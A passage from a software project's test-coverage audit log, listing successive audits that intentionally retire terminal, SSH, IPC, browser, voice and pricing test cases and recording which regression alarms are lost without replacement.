staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit3342 removes three supplied activation/inventory fallback and same-handle retry examples; their fallback/retry alarms are intentionally lost without equivalent replacement. The exact mounted-HUB pending old-stream-end versus replacement-snapshot registration and its assertion remain. Unrelated dated macOS receipts retain only their original scope; no fresh runtime, provider, performance, mobile, mixed-version or cross-platform validation is claimed. NEXT46 terminal-owner layout and whole-case policy: src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts, src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-visibility-and-exit.test.ts, src/renderer/src/runtime/hosted-terminals/streams/remote-runtime-terminal-stall-recovery.test.ts. Complete retired/reduced selectors lose their listed alarms; retained cases have no transferred historical pass or equivalent replacement coverage. Unaffected dated receipts retain only their original exact scopes. This metadata edit is not fresh execution evidence. Historical prior account (preserved verbatim): Audit3326 adopts reconciled source audit3324 and intentionally retires these low-value examples and their regression alarms: restarts only the stream whose renderer delivery credit never settles — An unreturned renderer delivery credit stalls only its stream, leaving healthy sibling/shared transport alive. Fake-clock deadline plus real multiplexer unsubscribe isolates recovery ownership.; probes then restarts a stream when an entered command receives no frames — Entered command produces no output; actual multiplexer must probe then close only its stalled stream after probe timeout. Distinct response liveness from parser credit.; establishes a probe baseline before recovering an unsequenced stream — 142-line manual five-probe baseline/regression sequence derives request IDs from encoded mock traffic and checks repeated no-close/close choreography. Oversized algorithm/state-machine example; no actual renderer/host command or recovery delivery. Retires unsequenced/unchanged/regressed baseline classification alarms.. Retained tests do not replace these alarms. Dated unrelated evidence remains scoped to its original execution; no historical source/import-closure equivalence, fresh execution, real network/provider/SSH, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit 3318 reduces remote-runtime-pty-transport-unpublished-host-graph.test.ts, retiring its direct published-empty-graph omission-to-pane-exit alarm. The unchanged bounded unpublished-frame/pushed-recovery and stale-handle park/manual-retry cases are narrower, not equivalent replacements. Both complete three-case Linux receipts dated 2026-11-04 are archived as historical, including source heads; they do not validate this reduced selector. Remaining fourteen active receipts are macOS only. No fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3318 composes adopted sources 3310, 3313 and 3317: intentionally retires 71 authored declarations and 102 expanded cases, including whole terminal-detach agent-retention, seeded batch/single open-files equivalence, shallow context-menu shortcut-badge, mocked active-workspace delete-dispatch, workspace session hydration, SSH target cleanup, editor session hydration and worktree terminal purge suites. Lost alarms include chained transfer alias and immediate close/exit retention; batch/single divergence, survivor/selection/map preservation and input nonmutation across 400 imperative seeds (one registered case); disconnected pending-handle retry, authoritative absences/close-record shortcut/older-host absence and published-presence/unpublished-frame examples; published empty host-graph omission to pane exit; legacy search ranking/exclusion fallback; provider request upgrade/dedupe/finalizer ownership; asynchronous PR suppression/primary-change and same-number different-repository URL rejection. Deletion routing loses host/instance qualification, paired and legacy mapping, folder ownership, active-versus-hover/menu-row selection, ambiguity, modal/editable/creation/view/main/deleting/missing guards and shortcut advertisement. Unchanged real keyboard/hover/confirmation/catalog E2E remains narrower, not an equivalent replacement. Additional losses include scripted old-host disk/UTF-8/noop/baseline and landed/unlanded lost-reply/replacement-retry outcomes; ordinary/repeated healthy-link reattach; cross-owner terminal/chat binding; oversized replay permanent-unavailable classification; floating reveal keyboard ownership/close/disable/listener disposal; naming/retained-turn/Sleep/error/close/reject status tables; SSH membership prune/new-target-only reads and environment/local bucket isolation; same-frame receipt capacity and positive bare/headless publisher readmission. These actual regression alarms are deliberately lost; no fresh gate, provider, rendered, mobile, mixed-version, cross-platform, soak or measured-budget validation is claimed. Audit 3312 composes adopted sources 3302 and 3308: deliberately retires 33 authored declarations and 36 expanded cases, including the whole backend startup-focus, active-browser IPC-close-routing, remote-browser-creation and agent-terminal-presence suites. Intentionally lost alarms cover distinct six-pane reconnect handles; SSH host label/Connect callback, unhydrated visit cleanup, repo cache aliases and hidden worktree/tab/PTY cleanup; adopted-agent startup focus and viewer navigation/reuse; staged, pageless, source, stale and orphan browser-close routing; web local-materialization refusal, desktop incapable-host fallback, failed/thrown remote creation and paired-web sign-in refusal; BOM/NUL and remote/local custom-editor byte-read examples; immediate folder activation and unread clearing; and batching idle/coalescing, accumulated byte ceiling, leading-edge-disabled, standalone synchronous oversize rejection, validation yield, deferred pending-tail order and both viewport-clear examples. The newly reintroduced agent-terminal-presence suite also loses actual terminal-status membership positive and nonterminal-status callback suppression alarms, including the recent 40916 guard regression; the older different 2133 presence-suite history remains historical and receives zero duplicate removal credit. These real regression alarms are intentionally lost. The unchanged survivors provide narrower coverage, with no equivalent replacement or fresh gate, provider, rendered, remote/mobile, mixed-version, cross-platform, soak or measured-budget validation claimed. Audit 3301 combines adopted source batches 3296 and 3299: retire 27 authored declarations and 36 expanded scenarios, including six whole suites. Intentionally lost alarms cover failed-verification/recovery/restart counters and mocked hosting/toast; early overlapping pane-read scheduling/count; unreadable removal listing draft guard; bulk-purge remote-qualified and raw-local guard maps; initial-snapshot blank/mode/oversize/printable/fresh-spawn callback and replay examples; fallback mobile file close and ordinary MRU; default queue overload/drain; seeded browser-page reuse and supplied missing-page URL recreation; ambiguous sleep/hibernation owner refusal and untouched bindings/origins; ordinary selection/activity/fallback priority; skip-remote success and retained hints; supplied structured-chat unsent retention and scoped removal draft eviction; caller-chat focus precedence; open/draft PR cache eviction and merged-head fallback result inventories. Retained adverse-ordering and ownership cases are narrower and do not establish equivalent replacements. No fresh runtime, native, physical provider, cross-platform, mobile or mixed-version evidence is claimed. Audit 3292 combines adopted 3285/3287/3289/3293 removals: 40 authored declarations and 47 expanded scenarios, including whole frame-editor-view, ambiguous remote-delete-refusal, unverifiable-host subscription and editor-close cleanup suites. The previously reviewed dock-badge suite was already removed upstream in PR 40895 and receives zero new removal credit. Intentionally retired alarms include background browser selection and last-tab landing; main startup fallback, SSH project cleanup/survivor routing, exact-PR contradiction/saved-push positives, replay/sidecar rollback and wrapped remote error normalization; records/snapshot missing-diff hydration, ambiguous folder-owner delete refusal, focus no-op notifications, nested editor context-only cache check, pending broadcast-first status and ordinary four-confirmation aggregation; preview-source frontmatter pruning, approved local/runtime agent dispatch, non-GitHub legacy PR cache invalidation, stale merged-head transient-error fallback, empty-queue immediate query reply and unverified-to-concrete preflight risk. Additional intentionally retired alarms are injected host subscription/unsubscribe counts, synthetic editor reveal/draft/fallback/scoped close, ambiguous unread refusals and hidden mark/read roundtrip, immediate connect backoff/noError, positive mirrored evidence-clock renewal, supplied VM failure/success projections and git-local/folder-SSH wake permutations. Remaining temporal/ownership cases are narrower; no equivalent replacement or fresh execution is claimed. Audit 3283 removes 20 authored declarations and 31 expanded scenarios, including two whole suites. Retired alarms cover PR refresh-state pruning, shared runtime subscription cleanup and store isolation, language content-change routing and older completion ownership, ordinary panel retry-timer cleanup and pending loading, four hosted-review lifetime permutations, mocked terminal creation error/order wiring, five sleep-inventory variants with pending-frame-only assertions, palette fallback/composite highlights, Windows/UNC encoded-editor input rows, mixed-repository partial failure counts, title setters and generated-title bypass/replacement, five window-close coordinator delegation/guard/finally branches, and ambiguous-old-record frame reveal. These regression checks are intentionally lost under the test-value audit; retained cases are not equivalent replacements. Prior coverage notes and receipts remain historical. Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims. Audit 3256 removes these specific alarms from the broad root unit commands: skill dialog active-share selection, close and pending-share handoff; simple keyed-record deletion; marker live-region insertion, simple landing and nine baseline policy examples; General search/control navigation inventory; orphan-count cache bootstrap; seven Codex code classifications and HTTP 429 warning mapping; two skill unread-root verdict examples; peer-mail payload and conversation-ID rejection; and the GitHub organization TABLE text-field optimistic rollback/failed-envelope example. These include real behaviors; retained tests do not provide equivalent coverage for every removed scenario. Mobile losses are recorded separately and are not coverage of these root commands. Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired. Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed. Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed. Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed. Audit3200 composes approved source3194: deliberately retires thirteen authored registrations/twenty-seven expanded cases in six whole automation host/list policy suites without equivalent replacement. Real RPC category/retryability and wrapped-timeout recognition, unscoped-failure/scoped-success health evidence precedence, exact-ID create selectors and per-run workspace omission, paired-web local/SSH/absent host catalog routing, incompatible/removed/unhydrated/offline execution health, runtime-before-nested-SSH recovery dispatch, and no-owned-focus/successor/foreign-list focus policy alarms are consciously lost. Retain exact20line orphan allow/refuse/precondition and exact90line cross-host same-ID search suites. No retry-timer/fence lifecycle, actual reconnect/network/write delivery, native focus, mobile/mixed-version runtime or disk persistence coverage is claimed. Audit3191 combines approved source3182/3187/3188: deliberately retires thirteen authored Vitest registrations and fifteen expanded cases, including five whole suites, without equivalent replacement. Attachment intake loses real portal/native-capture terminal interception and unowned-container refusal, immediate child-only committed availability/claim-ref negotiation and delivery, and direct-target over stable focused/background composer routing through disable/re-enable/remount and independent question focus. Exact destination/cache/draft and final-stat owner/workspace/File-release suites remain; they do not replace Surface recipient routing. Automation authoring loses destination runtime catalog membership, local/direct-SSH exclusion of paired-runtime repos, unknown-runtime empty catalog, logical project/host/setup/repo/path context payload, and missing/nonready setup refusal; these were genuine direct helper alarms, while exact schedule transformation, legacy schedule and setup-decision suites remain. Agent picker loses setup-chat/terminal/missing-installer/unsupported-or-unknown-host row projection samples and the ordinary unsearched menu variant; the entire original26-line resume recipe suite remains, including reported bypass versus default/absent permission modes, as does the exact search-result menu callback with its fixtures, model/effort commits and staged Arguments reopen outcome. Rejected predecessor3180 full recipe deletion is excluded. No actual native drag/cursor/focus/IME, upload bytes or disk/restart persistence, full automation save/scheduler/runtime transport, real resume-process flags/environment delivery, or native menu/rendered layout validation is claimed. Audit3178 combines source3169/3170/3175: deliberately retires eight authored units (six Vitest cases and two imperative custom relay scenarios), including two whole suites, without equivalent replacement. Voice Section loses per-model pending-delete isolation across interleaved A/B completion and the two-success refresh-call alarm; exact VoicePane delayed key-clear/newer enabled-toggle merge remains and does not replace row deletion coverage. Speech loses dedicated rating-scale/inclusive-ceiling, unsupported-versus-unmeasured, explicit/system-language precedence/locale alias, accuracy versus fast named/default/best-measured selection, and unmeasured/no-match examples; exact offered-user-pick versus retired-selection case and its fixture remain. Relay loses legacy ping-delivery count/liveness sampled before the silence deadline and grouped malformed Bearer/host-ID 401/429 routing checks; twelve real Worker/DurableObject/shipped-client scenarios remain, not equivalent replacement for those narrow alarms. Six prior speech cases are not all deleted: approved successor3175 keeps the original user-choice case. No actual credential/file persistence, native/GPU/engine/download delivery, production assignment policy or deployed-runtime validation is claimed by this reduction. Audit3165 combines source3160/3162: deliberately retires six authored/expanded cases across three whole suites without equivalent replacement. Launch/status losses: observed React-render pending/resuming coordination across settings and deferred offer read; stale-offer reread suppressing dialog reopen; held-local-chat recovery visibility with new-chat preferences off; disabled-local admission avoiding offer RPC despite an injected but unconsumed paired-tab fixture; and run-only lost-reply uncertainty reachability until direct viewed-run retirement. Launch probe does not prove arbitrary synchronous-store atomicity, the paired fixture is not remote runtime enrollment, and the status case directly marks viewed state rather than rendering the summary. Crew-hook losses: old-host method_not_found cache persists across party changes but is released by independently supplied connection generation/verified pairing status or pairing revision, with actual frame publication and teardown. These are real narrow coordination, admission, uncertainty and mixed-version cache alarms consciously lost. Exact web verified-runtime writer handoff guard remains; it does not replace those alarms or prove live host/native/mobile delivery. Audit3156 combines3147/3150/3152/3153/3154: deliberately retires39authored/40expanded native-chat recovery cases, eight whole suites and two orphan test-support files without equivalent replacement. Lost alarms: lost-reply unconfirmed reconciliation, skipped rows/counts and missed-frame repair, unknown/pending outcome and omitted-failure-list compatibility, uncertain history after dismissal, retry/refusal/dismiss lifecycle, hidden/consumed picker ownership, result-tree keyboard focus/disclosure and all-skipped retirement; unconfirmed-over-conflict guidance and failed-chat changes despite older host timestamps; nearest-listed ancestor/cyclic forest shape, descendant membership, host ordering/missing-host local fallback; skipped/readiness/admission counts, provisional skip/progress monotonicity, early per-chat verdicts with batch pending protection, older-host waiting, start-slot/delivery distinction, retry-over-failure and unknown-after-withdrawal attention; remote snooze/reconnect/reoffer, unseen mixed summary through open/close, watched completion retirement, new success beside old failure, failed-reread mixed-result preservation, filter/collapse completion resets, retry summary replacement and current-offer/history selection; cross-host workspace identity, rendered cyclic reachability, nested tri-state/toggle propagation, project eligibility isolation and collapse preserving selection. Exact fallback-list completion barrier, batched verdict/cleanup retention, stale-read versus dismissal publication race, and requested-but-never-rendered finished-run retirement remain; they do not replace retired alarms. Audit3146 combines source reviews3132/3133/3135/3138/3143: intentionally retire20authored/31expanded cases without equivalent replacement. Provider-session losses: structured-native terminal-resume exclusion, metadata-less completed identity, new-turn completion clearing, Pi provider-only/periodic/manual promotion, changed-transcript launch-config isolation, Pi/omp/prime-agent completed-session remote/manual-shutdown promotion, and quit/done precedence over heartbeat. Side-thread/question losses: finished-pane acquisition, hidden title/recap states, local/relay/relay-done conversation takeover with prompt/session/child resets, plain-message abandonment, compaction/session replacement and completion resets. Codex startup losses: incoming-owner cached child replacement, old-relay foreign live-session correction, completed foreign-root turn-fact permutations. Transcript losses: real temporary-JSONL partial sibling/final-child completion, unlabelled child attribution, compact cached replay preservation and100/1000completed-child roster retention/release. Compiler-ratchet losses: valid-line uncompiled-list parser grammar examples and injected-existence stale-path filtering; these did not exercise actual filesystem canonicalization or build exclusion. These are real lifecycle, ownership, replay, liveness and retention alarms, including recent#40246 regressions, deliberately lost. Retained conditional record replacement, clockless root/SSH owner isolation, persisted main-thread fork rejection, partial/final question-answer lifetime, cached-roster/missing-ID/live HTTP/durable startup boundaries and restarted-relay refusal/acceptance do not replace those losses. No native/SSH/WSL execution or equivalent coverage is claimed. Audit3128 scoped coverage reduction: Audit3121 removes VoiceDictationLanguageSetting.test.tsx (Spanish-to-es callback and unsupported-model Korean option presence) and voice-speech-model-rows.test.ts (provider/language-order/retired-on-disk list policy); these real narrow alarms are deliberately retired without replacement. VoiceSpeechModelSection per-model concurrent deletion remains unchanged. Audit3122 removes the direct absolute/parent-segment sparse-directory exception-type sample and the five-row IPC sparse-preset error-code/non-save table (two authored/six expanded cases). Those real typed-validation and IPC refusal/error-code alarms are deliberately retired. Keep both real symlink/junction floating-directory trust cases and the minimal RPC structured validation-reason serialization case. The RPC case does not replace IPC save/refusal behavior, typed normalization for both path inputs, actual Git sparse checkout or rendered localization. No equivalent replacement or fresh test/runtime/platform/remote/performance validation is claimed. Audit3124 removes ExperimentalPane.test.tsx (ordinary Pet switch callback), WorkspaceDirectorySetting.test.tsx (padded absolute saved-path normalization/no-write blur), and repository-search.perf.test.ts (navigation/selected-pane builder-call policy, fixture cardinality/nonempty entries and renamed project keyword inclusion). These real narrow alarms are retired without replacement; RepositoryPane.search.test.tsx search-to-sparse-editor request remains unchanged. Audit3129: resolver Windows case-insensitive and POSIX case-sensitive configured-env composition plus mocked-base launch-preflight Windows composition are intentionally no longer checked by the two deleted suites. No equivalent coverage claimed. Keep runtime-structured-agent-host-env.test.ts unchanged: configured Windows Claude-home account identity and host-account precedence remain checked. Audit3114 incorporates source3101: retire three structured Claude child-environment wrapper cases covering inherited stamp isolation/default and explicit entrypoint, Windows SDK-key canonicalization/default/duplicate-key order, and configured lookup/final environment/config-dir conjunction. Keep direct auth/session sanitation and Windows-versus-Linux overlay checks, actual executable lookup from supplied inherited PATH, native Windows child environment delivery, and stale option-mutation fencing. These are not equivalent replacements for the retired wrapper alarms. No fresh test/runtime, real login-shell probe, Claude SDK startup, remote/mixed-version, UI or performance result is claimed. Audit3114 incorporates source3105: retire 17 authored/20 expanded daemon launch-note cases, including the entire two-case SessionLaunchNote suite. Deliberately lose split-marker carry across same-token re-arm, stale-token retirement refusal, foreground tri-state and serial settlement, omitted-note/no-incarnation mixed-version policy, sticky retirement, first-incarnation/replacement launch preservation and held-launch precedence. Keep only the unchanged unresolved foreground-read race against a later finished attach. Supplied notes/foreground and runtime calls do not establish actual daemon/main restart, SSH, native Windows observation, mobile UI, equivalent replacement or fresh runtime/performance validation. Audit3114 incorporates source3109: retire six authored/35 expanded pricing cases: 21 accepted model-name examples, 10 unsupported/future-model fail-closed examples, malformed TTL clamp, unknown-model estimate refusal, flat-model long-context disregard and oversized long-context clamp. Keep mixed five-minute/one-hour write allocation and short/all-long/mixed long-context allocation with original fixed oracles. Real parser/refusal/bounds alarms are knowingly lost without equivalent replacement; retained tests do not validate provider rates, actual billing or request threshold classification. Preserve the archived usage-scan-append source-freeze receipt without transferring historical execution/performance credit. No fresh runtime result is claimed. Audit3108 source-only reduction (3094/3095/3100): retire 27 authored/30 expanded cases, including complete markdown view-state, file-preview link-open and CLI agent-server-route suites, without replacement. Deliberate losses include preview visibility/reference lifetime and same-path owners; SSH stat, directory/missing-target, explicit-null owner, nonmarkdown line/column, local URI routing, remote-to-client guard and same-file reuse; document-preview source-owner/folder/reuse routing, stable grant location and outside-workspace POSIX/Windows request projection; and verified remote CLI send/check refusal, suggested --on argv/copy, shell no-probe bypass, unverified-launch admission and older-peer refusal. Retain two markdown source-runtime/qualified-reveal alarms, one stale grant-rejection fence and two remote read/mutation evidence policies, with original callbacks. Final last-wins reveal did not prove transient cancellation; CLI prerequisite did not prove no real send, and envelope tests do not execute server refusal. No fresh runtime, rendered UI, actual file/SSH/paired transport, authorization, mixed-version or performance result is claimed. Audit3096 source-only reduction (3087/3088): retire 69 authored/76 expanded cases, including complete recovery-portals and reconnect-banner suites. Intentionally lose dead/default TUI replay, generated alternate-frame style composition, reset/mode/dimension and legacy missing-mode-boundary alarms, UI notice/action/reveal policies, and isolated recovery lifecycle variants, without equivalent replacement. Retained registrations and callbacks are unchanged; headless cells are not pixels, and no fresh runtime, host, SSH, WSL, rendered-app or performance result is claimed. Audit3086 source-only reduction (3079/3080/3081): intentionally retire 93 authored/100 expanded mock-boundary cases, including the complete spawn-errors and SSH reconnect overlay suites, without replacement. Retired alarms include spawn classification/ownership, reply ceilings and renderer-write failure recovery, disconnect/detach fencing branches, authority facts, and overlay retry/visibility wiring. Retained callbacks are unchanged; no fresh execution, real PTY/SSH, rendered UI, or performance result is claimed. The direct side-effect-facts selector retains six cases: replay exclusion, live sequence handling, stale disposer ownership, one handoff drain, drain-before-snapshot, and stale replacement-snapshot refusal. Successful current-entry snapshot application is not witnessed by the retained snapshot case. Audit2432: The broad unit command loses the isolated BranchPicker open-change notification sample. Its unique true/false callback alarm is intentionally retired; reopening/status-refresh behavior was not exercised. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2425: The broad unit command loses the workspace-copy-status supplied readError forwarding sample. It did not exercise the branch-switch blocking promised by its title. This alarm is intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2417: The broad unit command loses two ordinary clean Git cherry-pick/revert success samples and two terminal startup foreground-read work-budget samples. These unique alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2412: The broad unit command loses the whole six-case fake-React-hook scroll-anchor suite, two generic draft-retention samples, a simple new-agent order sample, a real history-publication batching-count sample, an unmounted handoff abort/timer sample and three basic WSL preview/error samples. These alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2404: The broad unit command loses the standalone share-name lookup 503 propagation suite, initial deletion placement-kind sample, direct changed-mtime stale sample, first-pass rollback existence example and abandoned-preparation directory sample. These exact alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2397 review amendment: The broad unit command loses three standalone suites, two partial-case definitions and two URL table rows across package/download/placement tests. Keep initial wrong-port authorization, modified independent-copy digest refusal and abort-after-begin cancellation dispatch. The remaining alarms are deliberately retired; no equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2393 current-parent refresh2401: Remove the basic skill-install service alias sample and original public managed-remove receiptless refusal case. Preserve the upstream request ownership suite and transaction interruption coverage. No equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2389: The broad unit command loses the missing-preview suite, plain-global destination sample and prepublished-receipt recovery example. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2385: The broad unit command loses four authored walker/staging/protocol examples (six expanded cases); no equivalent replacement or fresh validation is claimed for the reduced suite. Audit2383: The unscoped Vitest command no longer includes the removed Antigravity catalogue suite; its exact provider-root/owner example has no equivalent replacement or fresh validation claim. Audit2377/2381: The unscoped Vitest command includes the reduced bundled-skill and native-discovery suites; the eight removed backup/legacy/catalogue/symlink/SSH-builder examples have no replacement-equivalence or fresh validation claim here. Audit2162: Reduced inventory-authority source intentionally loses the examples recorded in knownGaps; historical execution is not validation of changed bytes. Historical prior account (preserved verbatim): Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2003: Remove SSH/absent-inventory attach refusal, later-subscriber retry, no-view adoption/takeback, provider-tail/unknown-read projections, failed-keystroke retry and simpler loss reattach examples. Keep the existing-subscriber inventory-ready retry alias only at its retained callback, plus retained held-input cancellation/replacement and overlapping attach/loss fences. The inventory driver also loses the whole empty-worktree-publication registration and folder-host/unverifiable scalar examples. Retire the entire dated10-case attach receipt; retain16 independent receipts only in their original scopes. No retained-memory or real-daemon measurement follows from supplied provider inventories. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1991: Remove initial-snapshot sequence-domain, limited-tail/truncation and unknown-output-sequence aliases whose callbacks are removed. The source retains partial-chunk replay and requested-snapshot retry/admission at supplied snapshot/data seams, not equivalent replacement or measured retained-memory proof. Preserve the existing stream/pending-wait capacity aliases only to their retained owning multiplex callbacks with supplied PTY resolutions. Removing the sibling-PTY heartbeat dedup work-count sample does not establish a new decorative fanout budget; the unrelated-PTY cancellation fence survives. Preserve17 unrelated dated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1983: Remove the reasonless-close selector and narrow census aliases to actual retained runtime and injected-inventory callbacks. The removed synthetic census-dedup and isolated pre-boundary timing cases receive no replacement credit; preserve17 unrelated dated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1939 (sources1934/1935): Delete the synthetic watcher-synchronization and partial-reconciliation suites. Retire all affected host-fact, capability-owner, activation-residue and retention-cap aliases because the remaining callbacks do not establish those full claims. Keep exact local hook/timer, byte-stream side effects, exit/disposal, scroll-intent cleanup and deterministic local rank/TTL progression callbacks within their mocked-host scope. No physical paired-host retention, resource budget or equivalent replacement evidence is assigned. The generic broad test command remains a runnable discovery command, never a dated execution receipt. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Delete the complete hook-agent-status projection suite and its two behavioral assertion aliases. Supplied stored hook/title/resume/staleness/rename/question/generation/PTY-retirement/snapshot-version projections are intentionally lost. The separate osc-status-scan gate mentions this source only in existing historical notes and receives no mutation. No measured hidden-output retention, CPU/RSS or resource budget result is claimed by the deleted source or this audit. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Module ownership cleanup retires the modeled cold-park private watcher/render/work-count suites under the current test policy. Their assertions are no longer active evidence. Retained lifecycle tests and headed/headless journeys do not establish equivalent coverage for those removed harness alarms. Audit1640 removes low-value IPC, SSH, workspace and transcript-watcher tests without equivalent replacement coverage. Per-source reviews record retained public refusal, cancellation, execution-host and real-filesystem outcomes with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1634 removes low-value IPC, filesystem and runtime projections, argument inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained cancellation, ownership, authorization, filesystem and SQLite boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1627 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Audit1417 intentionally deletes src/renderer/src/components/terminal-pane/pty-connection-hidden-tui-snapshot-replay.spec.ts: Loses rich hidden snapshot sequence replay/grid resize and forced repaint after hidden snapshot alarms, including live-trigger deduplication. deletes src/renderer/src/components/terminal-pane/terminal-cold-park-verdict-loop.test.tsx: Loses modeled React oscillation alarm; real pane/watchers are not exercised. deletes src/renderer/src/runtime/remote-runtime-terminal-parse-backpressure.test.ts: Loses delayed credit until parsing, malformed frame/unknown stream handling, discarded transformed output recovery and failed ACK rearm alarms. No equivalent replacement coverage or fresh result is claimed. Historical coverage account: Audit1412 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): This audit removes the browser response-after-manual-disconnect example. Its distinct in-flight response fencing alarm is lost; retained queued-call disconnect tests are not an equivalent replacement. Historical commands and results remain historical. Deterministic headed macOS runs launch an isolated Orca desktop server and a separate paired web client. A byte-identical headless run uses an isolated `orca serve` host. Both create six real paired host PTYs with bounded high-output scrollback, prove sustained output while all six client xterms are warm-mounted but hidden causes zero renderer scheduler work, then drive 180 timed real-PTY spinner frames through a second production `session.tabs.subscribeAll` transport and the real Zustand store. Each worktree must publish and apply only its exact initial-working and final-idle 